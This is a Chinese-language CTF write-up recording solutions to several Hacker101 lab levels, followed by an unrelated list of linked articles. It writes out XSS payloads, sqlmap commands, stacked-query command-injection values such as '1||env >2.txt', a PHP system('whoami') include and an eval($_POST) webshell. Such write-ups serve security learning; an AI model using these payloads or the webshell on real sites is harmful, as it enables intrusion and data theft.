Hacker101 CTF 学习记录(一)
前言
苦力挖洞,靠运气赚点小钱。看着大佬严重,高危,再看看自己手上的低危,无危害默默流下了菜鸡的泪水
思路受局限,之前听学长推荐和同事聊到hacker101,因此通过hacker101拓展下漏洞利用思路
https://ctf.hacker101.com/ctf?congrats=many
Trivial-A little something to get you started
非常简单的一道题
右键源码
访问background.png,获取flag
这类挖掘思路hint如下
Easy-Micro-CMS v1
这道题有4个flag
首先访问下,有3个链接,2个修改文章,一个添加文章
先看Testing
点击edit page进入编辑页面,输入xss脚本,我一般喜欢用<img>
标签,刚好这个地方<script>
标签被过滤了
保存,右键源码,可以发现该页面因为文本的xss生效产生一个flag,但是title的被转义了
回到home页面,在home页面中title也进行了回显,但是没有被转义,因此此次的xss获得第二个flag
点击创建,随意创建一篇文章,发现它是page10
最先2个示例是page1和page2,那么2~9之间是什么呢,通过burp枚举一下
发现page7返回是403,其他是404
但是403是明显无法访问的,还可访问的请求是编辑,因此访问/xxxx/page/edit/7
拿到第三个flag,最后一个flag我冥思苦想,甚至以为是markdown的xss,markdown的xss利用如下![截屏2020-09-02 下午8.45.50](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-02 下午8.45.50.png)
但是script被替换掉了,因此可以将JavaScript进行html编码
点击触发JavaScript协议
但是但是,这没有flag,整个环境把我局限于个xss的漏洞利用中,无奈最后google了一波,发现最后一个flag是sql注入
edit后面跟的路径可能是带入数据库的参数,因此可能存在sql注入
这类挖掘思路hint如下
Moderate-Micro-CMS v2
打开题目,共有3个连接,但是与上一题不同的在于不登录只能看,编辑需要登录
很明显第一个flag万能密码,但是不是用or '1'='1'
,因为登录用户名不是admin,也猜不出来,可以构造让程序报错的sql
语句,看到部分源码
那么此处的万能密码通过联合注入控制password的回值,成功登陆
成功登陆,拿到一个flag
private page
第二个flag,我看提示说注意请求方法,估计是越权了,退出登陆,在edit页面使用post请求,当然实际环境带上参数则可越权修改文章内容
第三个flag也与sql注入有关,最开始思路又偏了跑到jwt去了orz,但jwt没啥有用的信息.....
刚刚第一个flag是万能密码,第三个flag值在数据库中,直接sqlmap4brup++调用sqlmap出flag
dump-all获取flag,这里应是用的报错注入出的数据
这类挖掘思路hint如下
Hard-Encrypted Pastebin
这道题留个坑,之后回来补,涉及到aes的CRC反转,第一个flag可以通过报错获得
Moderate-Photo Gallery
第一个flag是id值存在整数型sql注入
sqlmap -u "http://34.94.3.143/d5d106f5c4/fetch?id=1" --thread=10 -D level5 -T photos --dump-all
因为是盲注使用多线程跑得快,第一个flag 加上FLAGHEX$FLGA$即可
后面2个flag打死做不来,提示说看架构是uwsgi-nginx-flask-docker
最后看别人的思路,发现是通过联合查询去读源码,因为有一个参数是fliename,那么源码中坑定有读取文件的处理逻辑,因此通过联合注入让sql语句返回值是可控的filename,读取源码
拿到第二个flag,可以看到sql语句逻辑为通过id获取filename,并读取
最后一个flag是命令执行,看第53行,执行了命令 du -ch (可控)|| exit 0
可控的地方又是通过一个for循环,for循环是将数据库中的所有filename值拼接,我们通过sqlmap可以看到该表有3个字段,du -ch 后面的参数可以随意跟,那么可以控制id为3的filename值,引入||进行命令拼接
仔细看输出文件内容的语句,他只取返回结果的第一行
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>
因此,我们命令执行去写文件,然后通过获取flag2的方法去读写入的文件
该SQL语句支持堆叠查询,因此加上;使用update修改id=3的filename值为命令执行
fetch?id=4;update photos set filename='1||ls >1.txt';commit;
然后先访问下根目录,再去读1.txt
fetch?id=4 union select '1.txt';
这个flag我也找不到,参考了下别人在env中发现了第三个flag,并且第一个和第二个也在里面
这里1.txt没法覆盖,因此重新写了新的文件
fetch?id=4;update photos set filename='1||env >2.txt';commit;
这类挖掘思路hint如下
Moderate-Cody's First Blog
扫描了目录
浏览了功能,,整理下现有的情况如下
Index.php?page=
文件包含,使用include包含,并加上.php
的后缀,可用%00
截断但包含不了文件。
文件包含过滤了php://
因此无法使用协议,并且现在包含路径为 .
,/usr/share/php
,usr/share/pear
Dockerfile
里面没有有价值的信息
admin.auth.inc.php
为后台登录,不存在sql注入,不存在弱口令
/post
存在目录遍历,有个文件被index.php
包含
Add comment 功能具体不清楚,估计是给后台管理员发送信息,但是整个系统是不出外网的,因此无法用xss平台打cookie
陷入了僵局....此时再看看目录扫描的情况,有个admin.inc.php
和admin.auth.inc.php
是2个文件,太像被我忽略了,这就是别人挖得到严重,我只能挖得到低危的原因之一吧orz
直接访问admin.inc.php出错
借助文件包含,顺利获取第一个flag,并且能够看到Add comment 传过来的数据
输入<img src=x//>
可以点击Approve Comment,保存结果为坏掉的图片,说明此次可能是xss的,但我输入<img src=x onerror=alert(1)//>
结果被吃掉了,换成<svg>
标签就执行了,但没有flag
看着这个输入,再输出,又加上前面的直接访问,sql报错,感觉这个地方是个二次注入。简单尝试无果...
注意到审核处的url,带有approve
参数,参数值为id
那么可以确定查的时候是通过id的值,并且输入'
,没啥异样,二次注入的念头被打消,此时此刻又厚着脸皮去看writeup了,发现可以使用http协议包含html文件
众所周知php可以包含万物,只要我们包含的html代码中有php的标签,就能执行命令。很巧的是,评论的内容我们可以控制
开始像index页面写入测试代码
<?php system('whoami'); ?>
提交就发现flag
后台帮忙审核一下
代码就过来了
再通过http包含html页面,命令执行成功
最后写shell
<?php eval($_POST['1']); ?>
index.php里面获取最后一个flag
这类挖掘思路hint如下
剩下的再分几篇文章再写
参考
https://www.cnblogs.com/smileboys/p/9837427.html
https://www.anquanke.com/post/id/180395#h2-1
Hacker101 CTF 学习记录(一)的更多相关文章
- hacker101 CTF 学习记录(二)
前言 无 Easy-Postbook 拿到功能有点多,先扫一遍目录 .Ds_Store没有啥东西,page是个静态页面 随便注册个账号,登录后已经有2篇文章,第一篇文章的id是1 自己创建文章,将ur ...
- Quartz 学习记录1
原因 公司有一些批量定时任务可能需要在夜间执行,用的是quartz和spring batch两个框架.quartz是个定时任务框架,spring batch是个批处理框架. 虽然我自己的小玩意儿平时不 ...
- Java 静态内部类与非静态内部类 学习记录.
目的 为什么会有这篇文章呢,是因为我在学习各种框架的时候发现很多框架都用到了这些内部类的小技巧,虽然我平时写代码的时候基本不用,但是看别人代码的话至少要了解基本知识吧,另外到底内部类应该应用在哪些场合 ...
- Apache Shiro 学习记录4
今天看了教程的第三章...是关于授权的......和以前一样.....自己也研究了下....我觉得看那篇教程怎么说呢.....总体上是为数不多的精品教程了吧....但是有些地方确实是讲的太少了.... ...
- UWP学习记录12-应用到应用的通信
UWP学习记录12-应用到应用的通信 1.应用间通信 “共享”合约是用户可以在应用之间快速交换数据的一种方式. 例如,用户可能希望使用社交网络应用与其好友共享网页,或者将链接保存在笔记应用中以供日后参 ...
- UWP学习记录11-设计和UI
UWP学习记录11-设计和UI 1.输入和设备 通用 Windows 平台 (UWP) 中的用户交互组合了输入和输出源(例如鼠标.键盘.笔.触摸.触摸板.语音.Cortana.控制器.手势.注视等)以 ...
- UWP学习记录10-设计和UI之控件和模式7
UWP学习记录10-设计和UI之控件和模式7 1.导航控件 Hub,中心控件,利用它你可以将应用内容整理到不同但又相关的区域或类别中. 中心的各个区域可按首选顺序遍历,并且可用作更具体体验的起始点. ...
- UWP学习记录9-设计和UI之控件和模式6
UWP学习记录9-设计和UI之控件和模式6 1.图形和墨迹 InkCanvas是接收和显示墨迹笔划的控件,是新增的比较复杂的控件,这里先不深入. 而形状(Shape)则是可以显示的各种保留模式图形对象 ...
- UWP学习记录8-设计和UI之控件和模式5
UWP学习记录8-设计和UI之控件和模式5 1.日历.日期和时间控件 日期和时间控件提供了标准的本地化方法,可供用户在应用中查看并设置日期和时间值. 有四个日期和时间控件可供选择,选择的依据如下: 日 ...
随机推荐
- SeaweedFS在.net core下的实践方案
一直对分布式的文件储存系统很感兴趣,最开始关注淘宝的TFS(Taobao File System),好像搁浅了,官方地址无法访问,github上面,各种编译问题,无意间发现了SeaweedFS 链接s ...
- IdentityServer4 (1) 客户端授权模式(Client Credentials)
写在前面 1.源码(.Net Core 2.2) git地址:https://github.com/yizhaoxian/CoreIdentityServer4Demo.git 2.相关章节 2.1. ...
- Kaggle-pandas(6)
Renaming-and-combining 教程 通常,数据会以列名,索引名或我们不满意的其他命名约定提供给我们. 在这种情况下,您将学习如何使用pandas函数将有问题的条目的名称更改为更好的名称 ...
- Ubuntu定时执行任务(定时爬取数据)
cron是一个Linux下的后台进程,用来定期的执行一些任务.因为我用的是Ubuntu,所以这篇文章中的所有命令也只能保证在Ubuntu下有效. 1:编辑crontab文件,用来存放你要执行的命令 s ...
- LinuX操作系统基础------>了解文件结构和相关的文件操作
了解LinuX文件系统 熟悉LinuX的文件结构 熟悉LinuX的基本操作指令 利用所学指令进行指令组合操作 什么是文件?什么是目录? 文件:一般是一个独立的东西,可以通过某些工具将其打开 目录:可以 ...
- C# Thread.Join的报错情形——论执行完的线程能够成功执行Join吗
结论: 能, 执行完的线程调用Join不会抛出错误. Thread.Join()是什么? Join()函数用于阻塞地等待线程结束, 其行为是在线程A中调用了线程B的Join()后, 线程A将一直阻塞在 ...
- CSS概述(二)
目录 CSS背景属性 设置背景颜色 background-color 设置背景图像 background-image 设置背景重复 background-repeat 设置背景定位 backgroun ...
- Vue $nextTick的一个使用场景
$nextTick 官方解释 在下次 DOM 更新循环结束之后执行延迟回调.在修改数据之后立即使用这个方法,获取更新后的 DOM 使用场景 在页面上有2个表单元素和2个按钮 btnRequiredFi ...
- # c++运算符重载之 前置++, 后置++, 负号运算符, 类型转换函数, 以及输入输出运算符
c++运算符重载之 前置++, 后置++, 负号运算符, 类型转换函数, 以及输入输出运算符 标签(空格分隔): c++ 前言 我在c++学习的过程中, 对这几个不太常见的运算符重载不太会写.出现了很 ...
- 简谈DFS
所谓DFS就是“不撞南墙不回头”的一种搜索.其时间复杂度为O(V+E). 能算出从起点到终点的全部路径,在算法执行的过程中需要一个visit[vi]数组来维护每个结点的访问情况,这样就能避免重复访问. ...